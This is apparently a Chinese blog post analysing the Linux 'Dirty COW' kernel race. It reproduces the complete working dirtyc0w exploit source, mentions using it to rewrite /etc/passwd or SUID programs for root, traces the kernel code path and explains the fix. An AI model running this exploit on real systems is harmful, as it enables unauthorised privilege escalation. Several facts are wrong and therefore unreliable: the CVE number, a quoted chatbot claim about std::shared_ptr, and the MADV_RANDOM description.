经典内核漏洞复现之 dirtycow

dirtycow漏洞分析

CVE-2016-9159(dirtycow)受影响的内核版本:linux 2.6.22 ~ patched kernel versions

dirtycow这个漏洞的原理比较复杂,但官方exp非常简单。所以从exp入手探索背后的漏洞原理。

先简单描述一下这个漏洞做了什么:

对一个只读的私有映射(且是文件映射)的页面进行写操作(通过/proc/self/mem写)时,会触发copy-on-write,将page cache中的内容拷贝到cow页面。

  • 正常情况下,写的是cow页面,不会同步到磁盘文件。
  • 然而dirtycow漏洞可以直接映射page cache页面并写入,原本的只读文件被改写了。(可以改/etc/passwd带suid位的程序来提权)

exp分析

产生COW的方式有两种,一种是写/proc/self/mem文件,另一种是通过PTRACE_POKEDATA跨进程写。

这里以比较经典的前者作为分析对象(前者分析明白了,后者也就能理解了),exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
c+=madvise(map,100,MADV_DONTNEED); // 竞争点:释放map对应物理页,清空页表
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;

int f=open("/proc/self/mem",O_RDWR); // 打开/proc/self/mem文件
int i,c=0;
for(i=0;i<100000000;i++) {
lseek(f,(uintptr_t) map,SEEK_SET); // 定位到map位置
c+=write(f,str,strlen(str)); // 竞争点:往map位置写传入的字符串
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv[])
{
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;

f=open(argv[1],O_RDONLY); // argv[1]是待写的只读文件的文件名
fstat(f,&st);
name=argv[1];

map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); // 将文件映射到进程内存中
printf("mmap %zx\n\n",(uintptr_t) map);

pthread_create(&pth1,NULL,madviseThread,argv[1]); // 释放映射关系的线程
pthread_create(&pth2,NULL,procselfmemThread,argv[2]); // 写线程,argv[2]是待写入的字符串

pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

调用链分析

跟dirtycow漏洞相关的代码,主要集中在三个文件,这里打包保存一下:dirtycow_src,根据网上资料和自己的理解加了注释,方便后续回顾更改。

/proc/self/mem文件的读写操作,对应到fd/proc/base.c文件中的proc_mem_operations

1
2
3
4
5
6
7
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};

dirtycow的利用中,使用的是往/proc/self/mem文件写,对应到内核的处理函数为mem_write(),因此我们跟着它一步步分析,梳理出函数调用链:

1
2
3
4
5
6
7
8
9
10
mem_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos)
mem_rw(file, (char __user*)buf, count, ppos, 1);
access_remote_vm(mm, addr, page, this_len, write);
__access_remote_vm(NULL, mm, addr, buf, len, write);
get_user_pages_remote(tsk, mm, addr, 1, write, 1, &page, &vma);
__get_user_pages_locked(tsk, mm, start, nr_pages, write, force, pages, vmas, NULL, false,FOLL_TOUCH | FOLL_REMOTE);
__get_user_pages(tsk, mm, start, nr_pages, flags, pages, vmas, locked);
find_extend_vma(mm, start); // 查找vma
follow_page_mask(vma, start, foll_flags, &page_mask); // 重点
faultin_page(tsk, vma, start, &foll_flags, nonblocking); // 重点

follow_page_mask():查询页表获取虚拟地址对应的物理页,如果返回NULL则调用faultin_page()进行缺页处理。有两种情况会返回NULL,导致触发faultin_page()函数:

  1. 页表中不存在物理页即缺页
  2. 访问语义标志foll_flags对应的权限违反内存页的权限时

以上两种情况再dirtycow的利用中都会发生,因此follow_page_mask()faultin_page()两个函数会被反复调用。接下来,我们按照时间先后顺序,分析这它们更深层次的函数调用过程。

刚开始分析内核的同学可以结合 xuanxuan博客 中的图片来理解,画的非常棒!

第一次

第一次进 follow_page_mask(),由于页表项和页表都是空的,所以返回NULL,触发faultin_page()进行缺页错误处理。

faultin_page()中,根据访问flags(FOLL_WRITE)和mmap类型(VM_PRIVATE,文件映射),在物理内存上将page_cache做了一份拷贝(COW)。并使用后者建立页表,映射给进程使用。

follow_page_mask()函数中调用链如下:

1
2
3
4
5
6
7
8
9
follow_page_mask(vma, start, foll_flags, &page_mask);
pgd_offset(mm, address);
pud_offset(pgd, address);
pmd_offset(pud, address); // 依次解析各级页目录表,如果某级页目录表为空,会直接返回NULL
follow_page_pte(vma, address, pmd, flags);
pte_offset_map_lock(mm, pmd, address, &ptl);
pte_present(pte); // 第一次进时,页不在内存中,且页表项为空
if (!pte_none(pte))
return NULL;

以上函数返回后,会立即进入faultin_page()进行缺页错误处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
faultin_page(tsk, vma, start, &foll_flags, nonblocking);
handle_mm_fault(mm, vma, address, fault_flags);
__handle_mm_fault(mm, vma, address, flags);
pgd_offset(mm, address);
pud_alloc(mm, pgd, address);
pmd_alloc(mm, pud, address);
pte_alloc(mm, pmd, address)
pte_offset_map(pmd, address); // 如果各级页目录项为空,则依次申请和设置
handle_pte_fault(mm, vma, address, pte, pmd, flags);
do_fault(mm, vma, address, pte, pmd, flags, entry);
do_cow_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); // 写时复制的映射
alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);
__do_fault(vma, address, pgoff, flags, new_page, &fault_page); // 将文件内容读到fault_page对应的页中,然后再将fault_page的内容拷贝到new_page中,相当于cow(new_page是副本)
copy_user_highpage(new_page, fault_page, address, vma);
pte_offset_map_lock(mm, pmd, address, &ptl);
do_set_pte(vma, address, new_page, pte, true, true); // 将new_page设置到页表项中,建立new_page到address地址的映射
mk_pte(page, vma->vm_page_prot);
maybe_mkwrite(pte_mkdirty(entry), vma); // 设置页面为dirty,但仍保持页面为RO
// if (likely(vma->vm_flags & VM_WRITE))
// pte = pte_mkwrite(pte);
page_add_new_anon_rmap(page, vma, address, false);
set_pte_at(vma->vm_mm, address, pte, entry);
lru_cache_add_active_or_unevictable(new_page, vma);

do_cow_fault()函数会返回0,回到__get_user_pages()函数中的retry标签处,再次执行follow_page_mask()faultin_page()

1
2
3
4
5
6
7
8
9
10
11
12
retry:
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask); // 查询页表获取虚拟地址对应的物理页
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags, // 缺页处理函数
nonblocking);
switch (ret) {
case 0:
goto retry;

第二次

第二次进入follow_page_mask()函数,此时页表和映射关系已建立好,但由于页表标记位是read only,而访问的flags中要求写,因此会返回NULL。

于是再次进入faultin_page()函数处理,发现是因为页表写导致的错误,于是执行写时复制(或复用之前的匿名页),然后将flags中的FOLL_WRITE清除。表示映射正常返回,后续可以强制往该页写(/proc/self/mem就是这么任性,只不过写的是匿名页,只在程序运行内存中有表现,不会同步回磁盘文件)。

第二次进入follow_page_mask()函数:

1
2
3
4
5
6
7
8
9
10
11
follow_page_mask(vma, start, foll_flags, &page_mask);
pgd_offset(mm, address);
pud_offset(pgd, address);
pmd_offset(pud, address);
follow_page_pte(vma, address, pmd, flags);
pte_offset_map_lock(mm, pmd, address, &ptl);
pte_present(pte); // 第二次进时,由于上一次faultin_page中设置了页表项并且页被加载到内存中,所以会进入如下判断
if ((flags & FOLL_WRITE) && !pte_write(pte)) { //虽然flags中有FOLL_WRITE标记位,但页表项中却是RO,无法通过检查,因此返回NULL
pte_unmap_unlock(ptep, ptl);
return NULL;
}

返回为NULL,触发faultin_page()处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
faultin_page(tsk, vma, start, &foll_flags, nonblocking);
handle_mm_fault(mm, vma, address, fault_flags);
__handle_mm_fault(mm, vma, address, flags);
pgd_offset(mm, address);
pud_alloc(mm, pgd, address);
pmd_alloc(mm, pud, address);
pte_alloc(mm, pmd, address)
pte_offset_map(pmd, address);
handle_pte_fault(mm, vma, address, pte, pmd, flags);
/* if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(mm, vma, address,pte, pmd, ptl, entry);
// 由于此时页表中标记位PRESENT=1,DIRTY=1,RDONLY=1,所以进入do_wp_page()函数处理流程 */
do_wp_page(mm, vma, address, pte, pmd, ptl, entry);
vm_normal_page(vma, address, orig_pte);
if (PageAnon(old_page) && !PageKsm(old_page)) // 由于do_cow_fault产生的是匿名页面,因此会进入该if分支
reuse_swap_page(old_page, &total_mapcount)
wp_page_reuse(mm, vma, address, page_table, ptl, orig_pte, old_page, 0, 0);
pte_mkyoung(orig_pte);
maybe_mkwrite(pte_mkdirty(entry), vma);
return VM_FAULT_WRITE;
// 由于对应VMA只读, 因此只会给PTE设置一个Dirty标志, 而不会设置RW标志, 然后返回一个VM_FAULT_WRITE(表示内核可以写入这个页)
// ......一路返回到faulin_page()函数中
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
return 0;
// 重点来了,如果vma->vm_flags没有VM_WRITE权限,则将flags中的FOLL_WRITE清除

do_cow_fault()函数返回0,回到__get_user_pages()函数中的retry标签处,再次执行follow_page_mask()。但这次,flags中的FOLL_WRITE已经被清除了,相当于一个读请求。于是,正常情况下follow_page_mask()此时就会返回刚刚操作过的匿名映射的页面,后续用户对该页面的写不会同步到磁盘文件中。正常来说这个功能是没什么问题的。

但是!!如果此时有另一个线程出现,使用 madvise(addr, len, MADV_DONTNEED) 释放目标页面,并清空页表项,后续就会以FOLL_RAED再走一次follow_page_mask() -> faultin_page -> follow_page_mask() -> 返回page cache映射的页面(也就是说写的内容会被同步到磁盘文件中)。回到__access_remote_vm()中,调用kmap()映射返回的页面,由于write标志为1,进入copy_to_user_page(),将需要写入的内容写到只读文件中。

接下来,我们分析一下目标页面被madvise()释放后的过程

第三次

假设第三次进入follow_page_mask()函数前,address对应的物理页被释放且对应的页表项被清空了。而flags中没有POLL_WRITE,会进入读错误的缺页错误处理过程。这个过程不会产生匿名页面,直接将page_cache映射到虚拟内存空间,后续的读写会同步回磁盘文件(这就是漏洞导致的问题所在)。

第三次进入follow_page_mask()函数:

1
2
3
4
5
6
7
8
9
follow_page_mask(vma, start, foll_flags, &page_mask);
pgd_offset(mm, address);
pud_offset(pgd, address);
pmd_offset(pud, address);
follow_page_pte(vma, address, pmd, flags);
pte_offset_map_lock(mm, pmd, address, &ptl);
pte_present(pte); // 第三次进时,由于madivse操作将页表清空了,页不在内存中,且页表项为空,会直接返回NULL
if (!pte_none(pte))
return NULL;

返回为NULL,触发faultin_page()处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
faultin_page(tsk, vma, start, &foll_flags, nonblocking);
handle_mm_fault(mm, vma, address, fault_flags);
__handle_mm_fault(mm, vma, address, flags);
pgd_offset(mm, address);
pud_alloc(mm, pgd, address);
pmd_alloc(mm, pud, address);
pte_alloc(mm, pmd, address)
pte_offset_map(pmd, address);
handle_pte_fault(mm, vma, address, pte, pmd, flags);
do_fault(mm, vma, address, pte, pmd, flags, entry);
// 由于flags中的WRITE标记没了,于是会进入do_read_fault()
do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
// do_read_fault将文件内容读取到vmf->page页面(page cache),并为此物理页面建立与缺页地址的映射关系。返回0

第四次

follow_page_mask()返回获取到的物理页面给上层函数,不会再进入缺页处理函数。

回到__get_user_pages()函数中的retry标签处,再次执行follow_page_mask(),这次就能获得page_cache对应的页面,对其写是会直接同步到文件中的。

1
2
3
4
5
6
7
8
follow_page_mask(vma, start, foll_flags, &page_mask);
pgd_offset(mm, address);
pud_offset(pgd, address);
pmd_offset(pud, address);
follow_page_pte(vma, address, pmd, flags);
pte_offset_map_lock(mm, pmd, address, &ptl);
pte_present(pte); // 第四次进时,由于页在内存中,于是获取页面并返回
page = vm_normal_page(vma, address, pte);

最终

紧接着,返回到__access_remote_vm()函数中,通过kmap()映射绕过mmap映射的读写限制,完成强制写内存。(不幸的是,由于条件竞争漏洞的存在,这个内存写会被同步到磁盘文件中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ret = get_user_pages_remote(tsk, mm, addr, 1, write, 1, &page, &vma);		// 获取虚拟地址addr对应的物理页面page
if (ret <= 0) {
// ...
} else {
// ...
maddr = kmap(page); // 用于相对短时间的映射,只能映射单个page。
if (write) {
copy_to_user_page(vma, page, addr, maddr + offset, buf, bytes); // 将buf内容(用户态传入的数据)写入page cache
set_page_dirty_lock(page); // 因为是写,所以将page设置为脏(dirty bit),表示需要写回到文件
} else {
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
put_page(page);
// ...

后续同步时,就会将page cache修改过的内容写回到磁盘文件中去。(?具体的写回时机是?)

总结

精简一下流程,方便回头来看的时候快速理解。

正常调用流程:

1
2
3
4
5
6
7
8
9
10
11
follow_page_mask()		// 页未映射,返回NULL

faultin_page() // 将文件内容读到page cache,并cow一个匿名页面(RO)

follow_page_mask() // 由于访问属性flags中有FOLL_WRITE,而匿名页面只读。权限不匹配,返回NULL

faultin_page() // 一顿处理,知道是匿名页面,所以删除了flags中有FOLL_WRITE

follow_page_mask() // 没了FOLL_WRITE后,权限检查通过,成功获取到匿名页面page

返回上一级函数 // 上一级函数对这个匿名页面通过kmap做写操作,不会影响到磁盘文件

dirtycow调用流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
follow_page_mask()		// 页未映射,返回NULL

faultin_page() // 将文件内容读到page cache,并cow一个匿名页面(RO)

follow_page_mask() // 由于访问属性flags中有FOLL_WRITE,而匿名页面只读。权限不匹配,返回NULL

faultin_page() // 一顿处理,知道是匿名页面,所以删除了flags中有FOLL_WRITE
// ***假设另一个线程在这里释放了匿名页面,并清空了页表项
follow_page_mask() // 页为映射,返回NULL (注意,此时flags中没有了FOLL_WRITE,编程了一个读请求)

faultin_page() // 针对读请求,直接将page cache跟请求的虚拟地址做映射

follow_page_mask() // 成功返回page cache

返回上一级函数 // 上一级函数对page cache通过kmap做写操作,会改写磁盘文件内容

复现环境

linux4.6编译的内核下复现成功,一个原本只读的文件被普通用户修改成功。

  • 写入字符串的长度如果大于文件大小,最多只能写入文件大小个字符
  • 官方exp中for循环设置了100000000次,很慢。测试了一下,我的环境里改成100000也能打成,会快很多。

image-20230425175820639

漏洞修复

patch:mm: remove gup_flags FOLL_WRITE games from __get_user_pages()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
diff --git a/include/linux/mm.h b/include/linux/mm.h
index e9caec6a51e97..ed85879f47f5f 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma,
#define FOLL_TRIED 0x800 /* a retry, previous pass started an IO */
#define FOLL_MLOCK 0x1000 /* lock present pages */
#define FOLL_REMOTE 0x2000 /* we are working on non-current tsk/mm */
+#define FOLL_COW 0x4000 /* internal GUP flag */

typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
void *data);
diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2fd0fbd1..22cc22e7432f6 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address,
return -EEXIST;
}

+/*
+ * FOLL_FORCE can write to even unwritable pte's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */
+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+ return pte_write(pte) ||
+ ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}
+
static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
@@ -95,7 +105,7 @@ retry:
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
- if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+ if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}
@@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
- *flags &= ~FOLL_WRITE;
+ *flags |= FOLL_COW;
return 0;
}

patch中,增加了一个FOLL_COW的属性和一些检查。当第二次因为 “页表权限和访问权限不匹配” 进入faultin_page()处理时,不再清除FOLL_WRITE属性,而是给flags加上一个FOLL_COW的属性。这样第三次进入follow_page_mask()时仍然带着FOLL_WRITE,避免了条件竞争引起的写page cache。

参考资料

知识点

copy-on-write机制

先看一下wiki上对Copy-on-write的解释:

Copy-on-write(COW)是计算机编程中一种资源管理技术,它提高了“可更改资源”的复制效率。如果一个资源需要被复制,但暂时不会被更改,那么就没必要创建一个新的资源,而是让“复制品”和”原件”共享同一个资源。但如果后续对该资源的使用过程中,需要对其进行更改(如写操作)时,就必须创建一个新资源(复制一份)。也就是copy-on-write(写时拷贝)名字的意义,在进行写操作时才真正执行复制的操作。

在虚拟内存管理中,copy-on-write在fork系统调用的实现中有所体现,用于父子进程间虚拟内存的共享。通常,创建一个新进程时,父子进程的内存空间有大量相同的内容,如果为子进程创建一个跟父进程同样大小的内存空间,是非常浪费的行为,这时copy-on-write机制就能很好地发挥作用。

copy-on-write机制的实现可以很简单,在页表上标记某个内存页面为只读,并记录当前物理页面的引用数(在struct page中)。当内核监控到有对这个页面写的请求时,就新申请一个物理页面,将原数据拷贝过来(对于引用计数为1的情况,无需申请新页面)。更新页表指向新申请的物理页面,对原物理页面的引用计数减1,然后执行写操作。

另外,在内存分配中也可以使用copy-on-write机制。在系统中保留一个内容全为0的物理页面,当进程申请内存时,把这个物理页面映射给进程,并将其标记为copy-on-write。这样,只有当进程有写操作时,才需要为其分配物理内存,让进程拥有的虚拟内存空间大于实际的物理内存空间。

关于它的应用场景,我问了一下chatgpt,觉得它回答得挺好的,直接贴上来了。(感觉以后写博客都可以交给它了hhhh)

Copy-On-Write(COW)机制在操作系统和编程语言中有多种应用场景。以下是一些常见的应用场景和方法:

  1. 进程复制:在Linux中,当一个进程使用fork()系统调用创建一个子进程时,子进程会共享父进程的地址空间。使用COW机制可以避免不必要的内存复制,从而提高进程创建的效率和性能。
  2. 文件系统:在文件系统中,COW技术可以用于实现写时复制(Copy-On-Write)的快照。在写时复制快照中,当文件被修改时,仅会复制发生变化的数据块,而不是整个文件。这可以节省存储空间,并提高快照的创建和恢复速度。
  3. 内存分配:在编程语言中,COW机制可以用于实现共享内存。例如,在C++中,std::shared_ptr类使用COW技术来实现多个指针共享同一个对象的内存。当一个指针尝试修改共享内存时,COW机制会创建一个新的拷贝,以避免对其他指针的影响。
  4. 数据库:在数据库中,COW技术可以用于实现多版本并发控制(MVCC)。在MVCC中,每个事务可以看到数据库的一个快照。当事务修改数据时,COW机制会创建一个新的版本,以避免对其他事务的影响。

这些只是COW机制的一些常见应用场景和方法,它还可以用于其他许多领域,例如虚拟内存、网络协议栈等。

mmap

mmap是一个非常常用的系统调用(在libc中封装成了mmap函数),它可以将文件或设备映射到进程的虚拟内存空间。当我们需要对文件或设备进行读写操作时,通常需要将它们读取到内存中,然后进行操作,最后再写回到文件或设备中。这个过程需要使用大量的系统调用和数据传输,非常繁琐和耗时。而将文件或设备映射到进程的虚拟地址空间中,可以将文件或设备的数据直接映射到进程的内存中,这样就可以直接在内存中进行读写操作,大大提高了读写效率。

mmap系统调用被封装成了一个libc的函数,函数定义如下:

1
2
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
  • void *addr:指定映射区域在进程中的起始地址,通常传入NULL,让内核自动分配。
  • size_t length:指定映射区域的大小。
  • int prot:指定映射区域的访问权限,常用的有可读PROT_READ、可写PROT_WRITE、可执行PROT_EXEC等。
  • int flags:指定映射区域的映射方式,比如私有映射MAP_PRIVATE、共享映射MAP_SHARED、匿名映射MAP_ANONYMOUS、固定映射MAP_FIXED等。
  • int fd:指定需要映射的文件描述符,如果指定映射方式是匿名映射,则为-1。
  • off_t offset:指定从文件或设备的哪个位置开始映射数据。

mmap函数返回一个指向映射区域的指针,如果映射失败,则返回MAP_FAILED。

该漏洞利用重点需要关注映射方式MAP_PRIVATE。

MAP_PRIVATE:私有映射。将文件或设备映射到进程的虚拟地址空间中,并创建一个进程私有的映射区域。这样,进程可以在这个映射区域中进行读写操作,而不会影响原始文件或设备。当进程对映射区域进行修改时,内核会将这些修改写入到一个新的私有页面中,而不会影响原始文件或设备。这个标志必须与PROT_READ结合使用。

简单来说,MAP_PRIVATE标志会建立一个写入时拷贝(copy-on-write)的私有映射,内存区域的写入不会影响到原文件。

尝试用不同的open属性和mmap属性来操作测试文件,得到如下结果:

open mmap result
O_RDWR PROT_READ|PROT_WRITE,MAP_PRIVATE 写操作不会报错,但内容无法同步到磁盘文件
O_RDWR PROT_READ|PROT_WRITE,MAP_SHARED 写的内容将同步到磁盘文件中
O_RDWR PROT_READ,MAP_PRIVATE 尝试往映射区写入时程序崩溃
O_RDWR PROT_READ,MAP_SHARED 尝试往映射区写入时程序崩溃
O_RDONLY PROT_READ|PROT_WRITE,MAP_PRIVATE 可以映射成功,但写的内容不会同步到磁盘文件
O_RDONLY PROT_READ|PROT_WRITE,MAP_SHARED 无法映射成功,mmap报错Permission denied

madvise

madvise(memory advise)是一个系统调用,可以用于向内核提供关于进程虚拟地址空间的一些提示,以帮助内核优化内存使用和性能。

madvise被封装成libc函数,其原型如下:

1
2
#include <sys/mman.h>
int madvise(void *addr, size_t length, int advice);

其中,addr是进程虚拟地址空间的起始地址,length是需要提供提示的内存区域的大小,advice是提示类型,常见的提示类型有以下几种:

  • MADV_NORMAL:默认行为,不提供任何提示。
  • MADV_RANDOM:该区域将被随机访问,建议内核预读取相邻的页。
  • MADV_SEQUENTIAL:该区域将被顺序访问,建议内核预读取整个区域。
  • MADV_WILLNEED:该区域将被访问,建议内核预读取整个区域。
  • MADV_DONTNEED:该区域不再需要,建议内核释放相应的物理内存(页表项将被置空)。

/proc/self/mem文件

/proc/<pid>/目录下有许多特殊的文件,如/proc/self/maps可以看到查看进程虚拟地址空间映射的情况,/proc/self/mem对应当前进程的虚拟地址空间(可以直接对虚拟地址空间进行读写)。

如下所示代码片段,最终value的输出结果是”999”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
int value = 123;
int evil = 999;
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) {
perror("open");
exit(-1);
}
if (lseek(fd, (off_t)&value, SEEK_SET) == -1) {
perror("lseek");
exit(-1);
}
if (write(fd, &evil, sizeof(evil)) != sizeof(evil)) {
perror("write");
exit(-1);
}
close(fd);

printf("value = %d\n", value);
return 0;
}

问题讨论

  • 为什么不直接对mmap的页用write写,而是使用/proc/self/mem?

    我的理解:因为对/proc/self/mem写入时,内核空间处理有调用kmap函数,映射目标物理页面到内核(pte是可写的),对目标页面读写。所以原本用户不可写的内存区域(pte是只读的),也可写入。而write或memcpy函数对应的内核处理流程中,如果发现往只读内存写,就会产生segmentation fault。